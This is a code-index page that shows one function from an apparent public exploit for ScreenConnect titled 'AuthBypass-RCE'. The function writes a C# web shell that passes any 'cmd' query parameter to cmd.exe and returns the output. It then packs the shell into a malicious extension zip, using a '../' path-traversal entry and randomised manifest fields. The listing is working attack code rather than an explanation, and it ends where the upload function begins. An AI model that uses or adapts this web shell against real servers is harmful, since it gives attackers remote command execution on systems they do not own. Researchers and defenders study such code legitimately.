MCPcopy Index your code
hub / github.com/W01fh4cker/ScreenConnect-AuthBypass-RCE / CreateExtension

Function CreateExtension

ScreenConnect-AuthBypass-RCE.py:44–96  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

42 return None
43
44def CreateExtension():
45 payload_data = f''&#x27;<% @ WebHandler Language="C#" Class="{payload_handler_class}" %>
46using System;
47using System.Web;
48using System.Diagnostics;
49public class {payload_handler_class} : IHttpHandler
50{{
51 public void ProcessRequest(HttpContext ctx)
52 {{
53 string command = ctx.Request.QueryString["cmd"];
54 if (!string.IsNullOrEmpty(command))
55 {{
56 ExecuteCommand(command, ctx);
57 }}
58 else
59 {{
60 ctx.Response.ContentType = "text/plain";
61 }}
62 }}
63 private void ExecuteCommand(string cmd, HttpContext ctx)
64 {{
65 ProcessStartInfo {payload_psi_var} = new ProcessStartInfo();
66 {payload_psi_var}.FileName = "cmd.exe";
67 {payload_psi_var}.Arguments = $"/c {{cmd}}";
68 {payload_psi_var}.RedirectStandardOutput = true;
69 {payload_psi_var}.UseShellExecute = false;
70 using (Process process = new Process())
71 {{
72 process.StartInfo = {payload_psi_var};
73 process.Start();
74 string output = process.StandardOutput.ReadToEnd();
75 process.WaitForExit();
76 ctx.Response.ContentType = "text/plain";
77 ctx.Response.Write(output);
78 }}
79 }}
80 public bool IsReusable {{ get {{ return true; }} }}
81}}''&#x27;
82 manifest_data = f''&#x27;<?xml version="1.0" encoding="utf-8"?>
83<ExtensionManifest>
84 <Version>1</Version>
85 <Name>{rand_text_alpha_lower(8)}</Name>
86 <Author>{rand_text_alpha_lower(8)}</Author>
87 <ShortDescription>{rand_text_alpha_lower(8)}</ShortDescription>
88 <LoadMessage>null</LoadMessage>
89 <Components>
90 <WebServiceReference SourceFile="{payload_ashx}"/>
91 </Components>
92</ExtensionManifest>''&#x27;
93 zip_resources = zipfile.ZipFile("resources.zip", 'w')
94 zip_resources.writestr(f"{plugin_guid}/Manifest.xml", manifest_data)
95 zip_resources.writestr(f"{plugin_guid}/../{payload_ashx}", payload_data)
96 zip_resources.close()
97
98def UploadExtension(url, anti_forgery_token):
99 with open("resources.zip", "rb") as f:

Callers 1

Calls 1

rand_text_alpha_lowerFunction · 0.85

Tested by

no test coverage detected